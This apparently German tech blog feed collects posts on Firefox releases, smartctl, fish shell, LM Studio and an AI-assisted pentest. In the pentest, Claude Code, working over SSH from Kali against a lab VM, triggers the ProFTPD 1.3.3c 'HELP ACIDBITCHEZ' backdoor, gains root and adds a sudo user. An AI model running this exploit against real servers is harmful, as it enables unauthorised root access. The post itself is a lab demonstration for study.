Mozilla hat Firefox 147.0.4 für Windows, macOS und Linux veröffentlicht und damit eine Sicherheitslücke in der libvpx-Bibliothek behoben, welche zum Encoding und Decoding von VP9-Videos genutzt wird.
Für Nutzer, welche ihr Profil manuell an einen anderen Ort verschoben oder einen Ordner umbenannt haben, konnte es dazu kommen, dass die Firefox-Startseite nicht mehr funktionierte.
Außerdem gab es, wie schon in Firefox 145.0.2, eine Webkompatibilitäts-Intervention für die Website Formula1 TV, welche erneut nicht mehr für Firefox-Nutzer funktionierte.
Die Lösung ist die Eigenschaften der Virtuellen Maschine aufzurufen, hier die Volle Auflösung des Retina Display verwenden zu aktivieren und nach dem Anmelden im Kali Linux Desktop Kali HiDPI Mode zu wählen. Nach einem Restart sollte alles beim alten sein. Nach dem aus sicherheitsupdategründen erzwungenen Upgrade auf macOS 26.3 mit einem anschließenden Update auf VMware ... Weiterlesen
Es ist grundsätzlich sinnvoll, den Gesundheitszustand einer Festplatte im Blick zu behalten. Wie man fehlerhafte Sektoren erkennt, habe ich im Artikel „Überprüfung auf fehlerhafte Sektoren“ erläutert. Eine weitere Möglichkeit bietet die Self-Monitoring, Analysis and Reporting Technology, kurz S.M.A.R.T., die es ermöglicht, HDDs und SSDs zu überwachen. Diese Daten können je nach Ausstattung der Festplatten und des Betriebssystems ausgelesen werden.
Hierfür wird auf Linux-Systemen das Tool smartmontools benötigt. Die ausgelesenen Daten liefern wertvolle Hinweise auf mögliche Probleme mit dem Medium – bevor es zu einem Ausfall kommt.
Installation
Unter Debian-basierten Systemen ist smartmontools in den Paketquellen enthalten und schnell installiert:
sudo apt install smartmontools
S.M.A.R.T.-Werte abfragen
Um die aktuellen Werte eines Laufwerks auszulesen, genügt folgender Befehl:
sudo smartctl -a /dev/sdX
/dev/sdX steht dabei stellvertretend für das jeweilige Laufwerk, etwa /dev/sda oder /dev/nvme0n1 für NVMe-SSDs. Die Option -a sorgt dafür, dass alle verfügbaren Informationen ausgegeben werden.
Wichtig: sdX ist ein Platzhalter und muss durch die tatsächliche Bezeichnung des zu prüfenden Laufwerks ersetzt werden.
Was die Ausgabe verrät
Die Ausgabe von smartctl ist recht umfangreich und auf den ersten Blick etwas unübersichtlich. Neben allgemeinen Informationen wie Modell, Firmware-Version und Seriennummer finden sich dort auch die sogenannten S.M.A.R.T.-Attribute. Diese zeigen unter anderem wichtige Messwerte wie:
den allgemeinen Gesundheitszustand (SMART overall-health self-assessment test result)
die Temperatur des Laufwerks (Temperature)
die Verfügbare Reserve (Available Spare)
den Reserve-Schwellenwert (Available Spare Threshold)
die verbrauchte Lebensdauer (Percentage Used)
die gelesenen Dateneinheiten (Data Units Read)
die geschriebenen Dateneinheiten (Data Units Written)
Ein Beispiel:
sudo smartctl -a /dev/nvme0n1
...
SMART overall-health self-assessment test result: PASSED
Temperature: 45 Celsius
Available Spare: 100%
Available Spare Threshold: 50%
Percentage Used: 4%
Data Units Read: 37.885.790 [19,3 TB]
Data Units Written: 28.019.142 [14,3 TB]
...
Für eine kurze Abfrage des Gesundheitszustands reicht hingegen:
sudo smartctl -H /dev/sdX
Ein Beispiel:
sudo smartctl -H /dev/nvme0
...
SMART overall-health self-assessment test result: PASSED
...
Fazit
Mit smartctl hat man unter Linux ein mächtiges Werkzeug zur Hand, um die Gesundheit von Laufwerken zu prüfen. Gerade bei älteren Festplatten lohnt sich ein regelmäßiger Blick auf die S.M.A.R.T.-Werte. Im Ernstfall können sie vor Datenverlust warnen – und geben den entscheidenden Anstoß, ein Backup nicht weiter aufzuschieben.
Mozilla hat Firefox 147.0.3 für Windows, macOS und Linux veröffentlicht und liefert damit zahlreiche Verbesserungen für eine gesteigerte Webkompatibilität aus. Dies betrifft vor allem das sogenannte Anchor Posititioning in CSS, aber auch die Sticky-Positionierung in CSS, CSS Flexbox, die Navigation-API, URLPattern-API sowie die Wiedergabe von HEVC-Videos.
Ein Problem wurde behoben, bei dem die Entwicklerwerkzeuge möglicherweise nicht mehr geöffnet werden konnten, nachdem ein Element im Inspektor ausgewählt und eine Seite mit Cross-Origin-iFrames neu geladen wurde.
Es wurde ein Problem behoben, bei dem der Abschnitt mit den Einstellungen für den DNS-over-HTTPS-Anbieter als leeres Feld angezeigt wurde, sodass Benutzer die aktuellen Einstellungen nicht sehen oder ändern konnten.
Ein Problem auf Windows-Systemen mit einer großen Anzahl installierter Schriftarten wurde behoben, bei dem Teile der Firefox-Benutzeroberfläche fehlerhafte Zeichen anstelle von lesbarem Text anzeigen konnten.
Ein Problem unter Linux wurde behoben, bei dem UI-Widgets unter Umständen an der falschen Position angezeigt werden konnten.
Wurde Firefox unter Windows mit einem dunklen Design genutzt, konnte es beim Start zu einem hellen Flackern der Titelleiste kommen.
Auf macOS konnte eine Erweiterung oder das Verändern einer bestimmten versteckten Option dafür sorgen, dass Firefox nicht mehr benutzbar war.
Mehrere potenzielle Absturzursachen wurden behoben.
Ein Problem wurde behoben, welches zu einer fehlgeschlagenen Kerberos-Authentifizierung führen konnte.
Es wurde zusätzliches Logging und Telemetrie zum Verstehen von Standortfehlern eingeführt, was in Zusammenhang damit steht, die Zuverlässigkeit der Geolocation-API durch Verwendung der aktuellen System-Schnittstellen zu verbessern.
Zur Unterstützung von Experimenten wurde die Möglichkeit geschaffen, innerhalb der ersten 48 Stunden der Firefox-Nutzung andere Standard-Verknüpfungen auf der Firefox-Startseite anzuzeigen, als danach.
In diesem Blog-Artikel habe ich meine Begeisterung für fish zum Ausdruck gebracht. Aber immer wieder stolpere ich über kleine Imkompatibilitäten, wenn andere Programme pardout die bash oder zsh voraussetzen.
VS Code und Remote Shell
Mit VS Code und der Erweiterung Remote SSH können Sie via SSH ein Verzeichnis auf einem Linux-Rechner öffnen und die dort befindlichen Dateien bearbeiten. Das funktioniert wunderbar, wenn der dort die bash oder zsh läuft. Mit der fish gelingt zwar der initiale Verbindungsaufbau, wenig später kommt es aber Timeout. Das Problem ist — eh‘ erst seit fast sechs Jahren — in einem GitHub-Issue dokumentiert. Hoffnung auf Behebung gibt es wohl nicht.
Aber immerhin enthält das Issue einige Lösungsvorschläge. Am praktikabelsten ist es aus meiner Sicht, in der Konfigurationsdatei settings.json von VS Code (unter Linux .config/Code/User/settings.json) die betroffenen Hostnamen einzutragen und ihnen die Plattform Linux zuzuordnen. Absurd, dass VS Code offensichtlich nicht in der Lage ist, diesen Umstand selbst zu erkennen.
Wenn Sie ein Python Environment einrichten, funktioniert dessen übliche Aktivierung mit source .venv/bin/activate nicht. Es gibt (übrigens schon seit 2012!) ein entsprechendes fish-Script — Sie müssen nur daran denken, es auch zu verwenden.
mkdir my-project
cd my-project
python3 -m venv .venv
source .venv/bin/activate # bash, zsh
source .venv/bin/activate.fish # fish !!!
Moderne KI-Tools zum Agentic Coding können nicht nur programmieren, sie können auch Kommandos ausführen — im einfachsten Fall mit grep in der Code-Basis nach einem Schlüsselwort suchen. Diese Funktionalität geht aber weiter als Sie vielleicht denken: Einen SSH-Account mit Key-Authentifizierung vorausgesetzt, kann das KI-Tool auch Kommandos auf externen Rechnern ausführen! Das gibt wiederum weitreichende Möglichkeiten, sei es zu Administration von Linux-Rechner, sei es zur Durchführung von Hacking- oder Penetration-Testing-Aufgaben. In diesem Beitrag illustriere ich anhand eines Beispiels das sich daraus ergebende Potenzial.
Entgegen landläufiger Meinung brauchen Sie zum Hacking per KI keinen MCP-Server! Ja, es gibt diverse MCP-Server, mit denen Sie bash- oder SSH-Kommandos ausführen bzw. Hacking-Tools steuern können, z.B. ssh-mcp, mcp-kali-server oder hexstrike-ai. Aber sofern Ihr KI-Tool sowieso Kommandos via SSH ausführen kann, bieten derartige MCP-Server wenig nennenswerte Vorteile.
Setup auf einem Fedora-Rechner mit zwei virtuellen Maschinen und lokaler Claude-Code-Installation
Setup
Als Ausgangspunkt für dieses Beispiel dient ein KI-Tool mit CLI (Command Line Interface), z.B. Claude Code, Codex CLI, Gemini CLI oder GitHub Copilot CLI. Ebenso geeignet sind Open-Source-Tools wie Aider oder Goose, die mit einem lokalen Sprachmodell verbunden werden können.
Ich habe für meine Tests Claude Code auf einem Linux-Rechner (Fedora) installiert. Claude Code erfordert ein Claude-Abo oder einen API-Zugang bei Anthropic.
Außerdem habe ich zwei virtuelle Maschinen eingerichtet (siehe den obigen Screenshot). Dort läuft einerseits Kali Linux (Hostname kali) und andererseits Basic Pentesting 1 (Hostname vtcsec). Basic Pentesting 1 ist ein in der Security-Ausbildung beliebtes System mit mehreren präparierten Sicherheitslücken.
Für das Netzworking habe ich der Einfachheit halber beide virtuellen Maschinen einer Bridge zugeordnet, so dass sich diese quasi im lokalen Netzwerk befinden. Sicherheitstechnisch für diese Art von Tests wäre es vernünftiger, Kali Linux zwei Netzwerkadapter zuzuweisen, einen für den Zugang zum Hostrechner (Fedora) und einen zweiten für ein internes Netzwerk. Das Target-System (hier Basic Pentesting 1) bekommt nur Zugang zum internen Netzwerk. Damit kann Kali Linux mit dem Target-System kommunizieren, aber es gibt keine Netzwerkverbindung zwischen dem Target-System und dem Host-Rechner oder dem lokalen Netzwerk.
In Kali Linux habe ich den Benutzer aiadmin eingerichtet. Dieser darf per sudo alle Kommandos ohne Passwort ausführen:
# in /etc/sudoers auf Kali Linux
aiadmin ALL=(ALL) NOPASSWD: ALL
Auf dem lokalen Rechner (Fedora) kümmert sich .ssh/config darum, dass aiadmin der Default-User für SSH-Verbindungen ist.
# Datei .ssh/config auf dem lokalen Rechner
Host kali
User aiadmin
Damit der SSH-Login bei Kali Linux ohne Passwort funktioniert, habe ich einen SSH-Key eingerichtet:
fedora$ ssh-copy-id aiadmin@kali
Sobald das funktioniert, habe ich den interaktiven Login für aiadmin gesperrt (Option -l wie lock).
kali$ sudo passwd -l aiadmin
Der privilegierte Benutzer aiadmin kann jetzt also NUR noch per SSH-Key-Login genutzt werden.
Alternatives Setup Bei diesem Setup gibt es eine logische Barriere zwischen unserem Arbeitsrechner mit diversen Entwickler- und KI-Tools und Kali Linux. Wenn Sie im Security-Umfeld arbeiten, ist es naheliegen, Claude Code oder ein anderes KI-Tool direkt in Kali Linux zu installieren und so den SSH-Umweg einzusparen.
Setup testen
Nun richten Sie ein leeres Projektverzeichnis ein, wechseln dorthin und starten claude. Die beiden ersten Prompts dienen dazu, Claude das Testumfeld zu erklären und dieses auszuprobieren.
> There is a Kali Linux installation with hostname kali.
Try to connect via SSH. (OK ...)
> Kali can connect to host vtcsec. This is a VM designated
for penetration testing. ping to it! (OK ...)
Erste Prompts um das Setup zu testen
AI Assisted Hacking
Im dritten Prompt geht es richtig los. Claude soll in Kali Linux einen Port Scan für das Pentesting-System durchführen. Dort findet es eine veraltete ProFTPD-Version mit einer bekannten Sicherheitslücke.
> Now do a proper port scan for vtcsec. Find out what
software is running.
(...) Here's what's running on vtcsec:
Port Service Version
21 FTP ProFTPD 1.3.3c
22 SSH OpenSSH 7.2p2 (Ubuntu)
80 HTTP Apache 2.4.18 (Ubuntu)
OS: Linux 3.x/4.x (Ubuntu), running as a QEMU VM.
Notable observations:
- ProFTPD 1.3.3c is a notably old version with
known vulnerabilities (including a backdoor in
certain distributions).
- OpenSSH 7.2p2 and Apache 2.4.18 are also outdated versions with known CVEs.
- Only 3 ports open, 997 closed — a fairly minimal attack surface.
Port-Scan durchführen
> Find exploits for ProFTPD.
(...) Here are the exploits found for ProFTPD 1.3.3:
Exploit
ProFTPd 1.3.2rc3 < 1.3.3b (FreeBSD) Telnet IAC Buffer Overflow
ProFTPd 1.3.2rc3 < 1.3.3b (Linux) - Telnet IAC Buffer Overflow
ProFTPd 1.3.3c - Compromised Source Backdoor
ProFTPd IAC 1.3.x - Remote Command Execution
ProFTPd 1.3.3c - Backdoor Command Execution (Metasploit)
The most relevant one is the backdoor in ProFTPD 1.3.3c -
this is the infamous incident where the ProFTPD source code
was compromised, and a backdoor was inserted. It allows remote
command execution by sending HELP ACIDBITCHEZ to the FTP service.
There's both a manual exploit and a Metasploit module available.
Want me to try the backdoor exploit against vtcsec?
Wir wollen nun die gefundene Backdoor nutzen. Der erste Exploit-Versuch scheitert, aber bereits im zweiten Versuch kann Claude die Backdoor in ProFTPD ausnutzen und erreicht root-Rechte.
> Yes, try it!
Bash(ssh kali "searchsploit -x linux/remote/15662.txt")
Exploit: ProFTPd 1.3.3c - Compromised Source Backdoor
Remote Code Execution
URL: https://www.exploit-db.com/exploits/15662
Path: /usr/share/exploitdb/exploits/linux/remote/15662.txt
Bash(ssh kali 'echo -e "HELP ACIDBITCHEZ\nid\nhostname
\nuname -a\nexit\n" | nc -w 5 vtcsec 21')
The simple netcat approach didn't return command output.
Let me try with a proper interactive approach using Metasploit
or a Python script.
Bash(ssh kali 'python3 -c " ..." ')
Banner: 220 ProFTPD 1.3.3c Server (vtcsec) [192.168.178.48]
Response: uid=0(root) gid=0(root) groups=0(root)...
Response: vtcsec
Response: Linux vtcsec 4.10.0-28-generic
The backdoor exploit worked. Here's what we got:
- Access level: uid=0(root) — full root access
- Hostname: vtcsec
- Kernel: Linux 4.10.0-28-generic (Ubuntu 16.04)
The HELP ACIDBITCHEZ backdoor in ProFTPD 1.3.3c gave an unauthenticated
remote root shell with zero effort — no credentials, no authentication,
just a single FTP command. Want me to explore the system further or move
on to testing the other services?
ProFTPD-Backdoor ausnutzen
Mit den nun erworbenen root-Rechten soll Claude einen neuen Benutzer mit sudo-Rechten einzurichten. Wiederum scheitert der erste Versuch, weil das Kommando sshpass auf Kali Linux nicht installiert ist. Claude lässt sich davon nicht beirren: Ohne weitere Rückfragen installiert es das fehlende Kommando, richtet den neuen Benutzer ein und verifiziert dessen Funktionsweise. Grandios!
Neuen Benutzer mit sudo-Rechten einrichten
Anmerkungen
Bemerkenswert an diesem Beispiel ist, dass ich Claude nie mitgeteilt habe, wie es vorgehen soll bzw. mit welchen Hacking-Tool es arbeiten soll. Claude hat selbstständig den Port-Scan mit nmap durchgeführt, mit metasploit nach einem Exploit gesucht und diesen angewendet.
Auch wenn das obige Beispiel einen erfolgreichen Einbruch skizziert, wird Hacking mit KI-Unterstützung nicht automatisch zum Kinderspiel. Hier habe ich die Richtung vorgegeben. Wenn Sie dem KI-Tool freie Hand lassen (Prompt: »Get me root access on vtcsec«), führt es den Portscan möglicherweise zuwenig gründlich durch und übersieht den ProFTPD-Server, der in diesem Fall beinahe eine Einladung zum Hacking darstellt. Stattdessen konzentriert sich das Tool darauf, SSH-Logins zu erraten oder Fehler in der Konfiguration des Webservers zu suchen. Das sind zeitaufwändige Prozesse mit nur mäßiger Erfolgswahrscheinlichkeit.
Die Steuerung von Hacking-Tools via SSH stößt an ihre Grenzen, wenn es um die interaktive Bedienung von CLI-Tools oder um die Steuerung grafischer Benutzeroberflächen bzw. Web-Tools geht (z.B. Burp Suite, Empire Framework oder OpenVAS).
Fakt bleibt, dass die KI-Unterstützung den Zeitaufwand für Penetration Tester erheblich senken kann — z.B. wenn es darum geht, mehrere Server gleichzeitig zu überprüfen. Umgekehrt macht die KI das Hacking für sogenannte »Script Kiddies« leichter denn je. Das ist keine erfreuliche Perspektive …
Hier haben wir wieder ein „Henne und Ei“-Problem.Zwar sind die Cookies richtig kopiert worden und auch die Dateien sind zugänglich, sie lassen sich ja via Browser aufrufen, aber leider ist ytdlp veraltet. Bis ein neues Image für Tube Archivist erscheint, muss man sich mit der Variable TA_AUTO_UPDATE_YTDLP helfen. Mit dieser Variable in der Compose-Datei und ... Weiterlesen
Bereits das kommende Feature-Update von Firefox wird eine eigene Einstellungs-Seite für KI-Funktionen erhalten. Über diese lassen sich zentral an einem Ort alle KI-Features einzeln oder auch generell – und damit einschließlich zukünftiger Funktionen – abschalten.
Künstliche Intelligenz (KI) ist ein Thema, welches mittlerweile omnipräsent ist. Die einen lieben es, andere möchten am liebsten gar nichts damit zu tun haben. Auch Firefox bietet bereits ein paar Funktionen mit KI-Unterstützung an, weitere werden in der Zukunft folgen. Dabei waren sämtliche KI-Funktionen in Firefox vom ersten Tag an optional. Außerdem setzt Mozilla für eine verbesserte Privatsphäre bevorzugt auf lokale KI anstelle von Cloud-basierten KI-Lösungen.
Um die Verwaltung von KI-Funktionen noch einfacher für die Nutzer von Firefox zu machen, erweitert Mozilla mit Firefox 148 die Einstellungen um einen zusätzlichen Bereich mit der Bezeichnung „KI-Einstellungen”. Dieser neue Bereich bietet einen Ort, um alle KI-Funktionen zentral zu steuern. Dabei kann der Nutzer zwischen drei Optionen wählen: „Aktiviert” bedeutet, das jeweilige Feature ist aktiv. „Verfügbar” bedeutet, dass das Feature noch nicht aktiv ist, dem Nutzer aber angeboten wird und von diesem aktiviert werden kann. Bei „Blockiert” wird die Funktion dem Nutzer gar nicht erst angeboten und entsprechende Optionen ausgeblendet. Wurden bereits lokale KI-Modelle heruntergeladen, werden diese bei Auswahl vom Gerät gelöscht.
Firefox 148 bietet Einstellungen für fünf KI-basierte Funktionen an: Übersetzungen von Websites in andere Sprachen, die Generierung von Alternativtexten beim Hinzufügen von Bildern in PDF-Dateien, um deren Barrierefreiheit zu verbessern, Vorschläge für andere Tabs sowie Beschriftungen für Tab-Gruppen, KI-Zusammenfassungen für die Link-Vorschau sowie diverse Chatbots in der Sidebar.
Drei dieser fünf KI-Funktionen stehen derzeit nur für Nutzer zur Verfügung, welche Firefox in englischer Sprache nutzen. Entsprechend sehen Nutzer anderer Sprachen weniger Optionen in Firefox 148, sodass keine irrelevanten Funktionen dargestellt werden. Zu jeder KI-Funktion gibt es einen kurzen Erklärungstext sowie einen Link mit detaillierten Informationen.
Darüber hinaus bietet Firefox 148 auch noch einen globalen Schalter zum Ein- und Ausschalten von KI-Funktionen an. Medien hatten in diesem Zusammenhang in den letzten Wochen häufig von einem sogenannten „Kill Switch” gesprochen, weswegen diese Wortwahl hier aufgegriffen werden soll.
Hierüber können alle KI-Funktionen mit einem Mal deaktiviert werden – und damit auch sämtliche KI-Funktionen, die es noch gar nicht gibt und erst irgendwann in der Zukunft dazu kommen werden. Wird die globale Einstellung genutzt, wird darüber hinaus auch die Erweiterungs-Schnittstelle für KI-Funktionen abgeschaltet.
Firefox 148 wird nach aktueller Planung am 24. Februar 2026 erscheinen. Nutzer einer Beta-Version von Firefox 148 können bereits jetzt die Option browser.preferences.aiControls in about:config per Doppelklick auf true schalten, um die neuen KI-Einstellungen zu aktivieren.
Der Enterprise Policy Generator richtet sich an Administratoren von Unternehmen und Organisationen, welche Firefox konfigurieren wollen. Mit dem Enterprise Policy Generator 7.3 ist nun ein Update erschienen.
Die Enterprise Policy Engine erlaubt es Administratoren, Firefox über eine Konfigurationsdatei zu konfigurieren. Der Vorteil dieser Konfigurationsdatei gegenüber Group Policy Objects (GPO) ist, dass diese Methode nicht nur auf Windows, sondern plattformübergreifend auf Windows, Apple macOS sowie Linux funktioniert.
Der Enterprise Policy Generator hilft bei der Zusammenstellung der sogenannten Enterprise Policies, sodass kein tiefergehendes Studium der Dokumentation und aller möglichen Optionen notwendig ist und sich Administratoren die gewünschten Enterprise Policies einfach zusammenklicken können.
Neuerungen vom Enterprise Policy Generator 7.3
Der Enterprise Policy Generator 7.3 bringt Unterstützung für die DisableRemoteImprovements-Richtlinie in Firefox 148 und höher, um Firefox daran zu hindern, Funktionen, Leistung und Stabilität zwischen den Updates zu verbessern. Dazu kommt die Unterstützung für die HarmfulAddon-Option in der EnableTrackingProtection-Richtlinie zur Blockierung schädlicher Add-ons in Firefox 147 und höher. Darüber hinaus gab es diverse kleinere Verbesserungen für bereits länger bestehende Richtlinien.
Abseits von Unternehmensrichtlinien wurde die Jahreszahl im Footer von 2025 auf 2026 geändert und eine nicht mehr notwendige Eigenschaft aus dem Erweiterungs-Manifest entfernt.
Der Enterprise Policy Generator 7.3 ist die letzte Version mit Unterstützung von Firefox ESR 128. Der Enterprise Policy Generator 8.0 wird Firefox 140 oder höher voraussetzen.
Entwicklung unterstützen
Wer die Entwicklung des Add-ons unterstützen möchte, kann dies tun, indem er der Welt vom Enterprise Policy Generator erzählt und die Erweiterung auf addons.mozilla.org bewertet. Auch würde ich mich sehr über eine kleine Spende freuen, welche es mir ermöglicht, weitere Zeit in die Entwicklung des Add-on zu investieren, um zusätzliche Features zu implementieren.
Wer sich dafür interessiert, Sprachmodelle lokal auszuführen, landen unweigerlich bei Ollama. Dieses Open-Source-Projekt macht es zum Kinderspiel, lokale Sprachmodelle herunterzuladen und auszuführen. Die macOS- und Windows-Version haben sogar eine Oberfläche, unter Linux müssen Sie sich mit dem Terminal-Betrieb oder der API begnügen.
Zuletzt machte Ollama allerdings mehr Ärger als Freude. Auf gleich zwei Rechnern mit AMD-CPU/GPU wollte Ollama pardout die GPU nicht nutzen. Auch die neue Umgebungsvariable OLLAMA_VULKAN=1 funktionierte nicht wie versprochen, sondern reduzierte die Geschwindigkeit noch weiter.
Kurz und gut, ich hatte die Nase voll, suchte nach Alternativen und landete bei LM Studio. Ich bin begeistert. Kurz zusammengefasst: LM Studio unterstützt meine Hardware perfekt und auf Anhieb (auch unter Linux), bietet eine Benutzeroberfläche mit schier unendlich viel Einstellmöglichkeiten (wieder: auch unter Linux) und viel mehr Funktionen als Ollama. Was gibt es auszusetzen? Das Programm richtet sich nur bedingt an LLM-Einsteiger, und sein Code untersteht keiner Open-Source-Lizenz. Das Programm darf zwar kostenlos genutzt werden (seit Mitte 2025 auch in Firmen), aber das kann sich in Zukunft ändern.
Kostenlose Downloads für LM Studio finden Sie unter https://lmstudio.ai. Die Linux-Version wird als sogenanntes AppImage angeboten. Das ist ein spezielles Paketformat, das grundsätzlich eine direkte Ausführung der heruntergeladenen Datei ohne explizite Installation erlaubt. Das funktioniert leider nur im Zusammenspiel mit wenigen Linux-Distributionen auf Anhieb. Bei den meisten Distributionen müssen Sie die Datei nach dem Download explizit als »ausführbar« kennzeichnen. Je nach Distribution müssen Sie außerdem die FUSE-Bibliotheken installieren. (FUSE steht für Filesystem in Userspace und erlaubt die Nutzung von Dateisystem-Images ohne root-Rechte oder sudo.)
Nach dnf install fuse-libs und chmod +x können Sie LM Studio per Doppelklick im Dateimanager starten.
Erste Schritte
Nach dem ersten Start fordert LM Studio Sie auf, ein KI-Modell herunterzuladen. Es macht gleich einen geeigneten Vorschlag. In der Folge laden Sie dieses Modell und können dann in einem Chat-Bereich Prompts eingeben. Die Eingabe und die Darstellung der Ergebnisse sieht ganz ähnlich wie bei populären Weboberflächen aus (also ChatGPT, Claude etc.).
Nachdem Sie sich vergewissert haben, dass LM Studio prinzipiell funktioniert, ist es an der Zeit, die Oberfläche genauer zu erkunden. Grundsätzlich können Sie zwischen drei Erscheinungsformen wählen, die sich an unterschiedliche Benutzergruppen wenden: User, Power User und Developer.
In den letzteren beiden Modi präsentiert sich die Benutzeroberfläche in all ihren Optionen. Es gibt
vier prinzipielle Ansichten, die durch vier Icons in der linken Seitenleiste geöffnet werden:
Chats
Developer (Logging-Ausgaben, Server-Betrieb)
My Models (Verwaltung der heruntergeladenen Sprachmodelle)
Discover (Suche und Download weiterer Modelle).
GPU Offload und Kontextlänge einstelln
Sofern Sie mehrere Sprachmodelle heruntergeladen haben, wählen Sie das gewünschte Modell über ein Listenfeld oberhalb des Chatbereichs aus. Bevor der Ladevorgang beginnt, können Sie diverse Optionen einstellen (aktivieren Sie bei Bedarf Show advanced settings). Besonders wichtig sind die Parameter Context Length und GPU Offload.
Die Kontextlänge limitiert die Größe des Kontextspeichers. Bei vielen Modellen gilt hier ein viel zu niedriger Defaultwert von 4000 Token. Das spart Speicherplatz und erhöht die Geschwindigkeit des Modells. Für anspruchsvolle Coding-Aufgaben brauchen Sie aber einen viel größeren Kontext!
Der GPU Offload bestimmt, wie viele Ebenen (Layer) des Modells von der GPU verarbeitet werden sollen. Für die restlichen Ebenen ist die CPU zuständig, die diese Aufgabe aber wesentlich langsamer erledigt. Sofern die GPU über genug Speicher verfügt (VRAM oder Shared Memory), sollten Sie diesen Regler immer ganz nach rechts schieben! LM Studio ist nicht immer in der Lage, die Größe des Shared Memory korrekt abzuschätzen und wählt deswegen mitunter einen zu kleinen GPU Offload.
Grundeinstellungen beim Laden eines SprachmodellsÜberblick über die heruntergeladenen Sprachmodelle
Debugging und Server-Betrieb
In der Ansicht Developer können Sie Logging-Ausgaben lesen. LM Studio verwendet wie Ollama und die meisten anderen KI-Oberflächen das Programm llama.cpp zur Ausführung der lokalen Modelle. Allerdings gibt es von diesem Programm unterschiedliche Versionen für den CPU-Betrieb (langsam) sowie für diverse GPU-Bibliotheken.
In dieser Ansicht können Sie den in LM Studio integrierten REST-Server aktivieren. Damit können Sie z.B. mit eigenen Python-Programmen oder mit dem VS-Code-Plugin Continue Prompts an LM Studio senden und dessen Antwort verarbeiten. Standardmäßig kommt dabei der Port 1234 um Einsatz, wobei der Zugriff auf den lokalen Rechner limitiert ist. In den Server Settings können Sie davon abweichende Einstellungen vornehmen.
Logging-Ausgaben und Server-OptionenHinter den Kulissen greift LM Studio auf »llama.cpp« zurück
Praktische Erfahrungen am Framework Desktop
Auf meinem neuen Framework Desktop mit 128 GiB RAM habe ich nun diverse Modelle ausprobiert. Die folgende Tabelle zeigt die erzielte Output-Geschwindigkeit in Token/s. Beachten Sie, dass die Geschwindigkeit spürbar sinkt wenn viel Kontext im Spiel ist (größere Code-Dateien, längerer Chat-Verlauf).
Normalerweise gilt: je größer das Sprachmodell, desto besser die Qualität, aber desto kleiner die Geschwindigkeit. Ein neuer Ansatz durchbricht dieses Muster. Bei Mixture of Expert-Modellen (MoE-LLMs) gibt es Parameterblöcke für bestimmte Aufgaben. Bei der Berechnung der Ergebnis-Token entscheidet das Modell, welche »Experten« für den jeweiligen Denkschritt am besten geeignet sind, und berücksichtigt nur deren Parameter.
Ein populäres Beispiel ist das freie Modell GPT-OSS-120B. Es umfasst 117 Milliarden Parameter, die in 36 Ebenen (Layer) zu je 128 Experten organisiert sind. Bei der Berechnung jedes Output Tokens sind in jeder Ebene immer nur vier Experten aktiv. Laut der Modelldokumentation sind bei der Token Generation immer nur maximal 5,1 Milliarden Parameter aktiv. Das beschleunigt die Token Generation um mehr als das zwanzigfache:
Welches ist nun das beste Modell? Auf meinem Rechner habe ich mit dem gerade erwähnten Modell GPT-OSS-120B sehr gute Erfahrungen gemacht. Für Coding-Aufgaben funktionieren auch qwen3-next-80b-83b und glm-4.5-air gut, wobei letzteres für den praktischen Einsatz schon ziemlich langsam ist.
Rechtschreibkontrolle deaktivieren
Zu den größten Ärgernissen der LM-Studio-Oberfläche (intern realisiert auf Basis des Electron-Frameworks) zählt die stets aktive Rechtschreibkontrolle in allen Eingabefeldern. In den Einstellungsdialogen gibt es gefühlt eine Million Optionen, aber keine, um die Rechtschreibkontrolle zu deaktivieren :-( Wenn jetzt die Desktop-Sprache (deutsch) und die Sprache Ihrer Prompts (englisch) nicht übereinstimmt, wird praktisch der gesamte Text rot unterstrichen. Mühsam.
Abhilfe: Suchen Sie nach der Konfigurationsdatei, die unter Linux den Namen .config/LM Studio/Preferences hat. Dort löschen Sie alle vordefinierten dictionary-Zeichenketten für die Einstellung spellcheck. In meinem Fall sieht die neue Datei dann so aus:
Mozilla hat Firefox 147.0.2 für Windows, macOS und Linux veröffentlicht und behebt damit mehrere Sicherheitslücken, diverse potenzielle Absturzursachen sowie mehrere Webkompatibilitätsprobleme, darunter eines, welches unerwartete WebAuthn-Anfragen verursachen konnte.
Websites konnten vom Safe Browsing-Schutz unter Umständen fälschlicherweise als schädlich erkannt werden.
Mehrere Probleme wurden auch in Zusammenhang mit der Unterstützung für die XDG Base Directory-Spezifikation unter Linux behoben.
Außerdem zeigten Zertifikats-Fehlerseiten in manchen Fällen den Port doppelt an.
Dieser Artikel fasst die Veröffentlichungstermine für Firefox und Firefox ESR im Jahr 2026 übersichtlich zusammen.
Neue Major-Releases von Firefox erscheinen in der Regel alle vier Wochen. Auf diese Weise erreichen Neuerungen schneller den Endnutzer und man muss nicht viele Monate auf bereits implementierte Funktionen warten. Dies sind die Veröffentlichungstermine von Firefox für das Jahr 2026.
Das sind die Firefox Release-Termine 2026
Firefox 147, Firefox ESR 140.7, Firefox ESR 115.32 13. Januar 2026 (5 Wochen nach Firefox 146)
Firefox 148, Firefox ESR 140.8, Firefox ESR 115.33 24. Februar 2026 (6 Wochen nach Firefox 147)
Firefox 149, Firefox ESR 140.9 24. März 2026 (4 Wochen nach Firefox 148)
Firefox 150, Firefox ESR 140.10 21. April 2026 (4 Wochen nach Firefox 149)
Firefox 151, Firefox ESR 140.11 19. Mai 2026 (4 Wochen nach Firefox 150)
Firefox 152, Firefox ESR 140.12 16. Juni 2026 (4 Wochen nach Firefox 151)
Firefox 153, Firefox ESR 153.0, Firefox ESR 140.13 21. Juli 2026 (5 Wochen nach Firefox 152)
Firefox 154, Firefox ESR 153.1, Firefox ESR 140.14 18. August 2026 (4 Wochen nach Firefox 153)
Firefox 155, Firefox ESR 153.2, Firefox ESR 140.15 15. September 2026 (4 Wochen nach Firefox 154)
Firefox 156, Firefox ESR 153.3 13. Oktober 2026 (4 Wochen nach Firefox 155)
Firefox 157, Firefox ESR 153.4 10. November 2026 (4 Wochen nach Firefox 156)
Firefox 158, Firefox ESR 153.5 8. Dezember 2026 (4 Wochen nach Firefox 157)
Firefox 159, Firefox ESR 153.6 19. Januar 2027 (6 Wochen nach Firefox 158)
Mozilla stellt Firefox Nightly ab sofort auch als .rpm-Paket für Linux zur Verfügung.
Wer Firefox auf Linux nutzen möchte, hat dazu verschiedene Möglichkeiten: Neben Archiven von Mozilla und möglicherweise der Paketverwaltung der genutzten Distribution gibt es auch noch Snap, Flatpak sowie .deb-Pakete für Debian-basierte Distributionen. In Zukunft kommt noch eine weitere Option dazu.
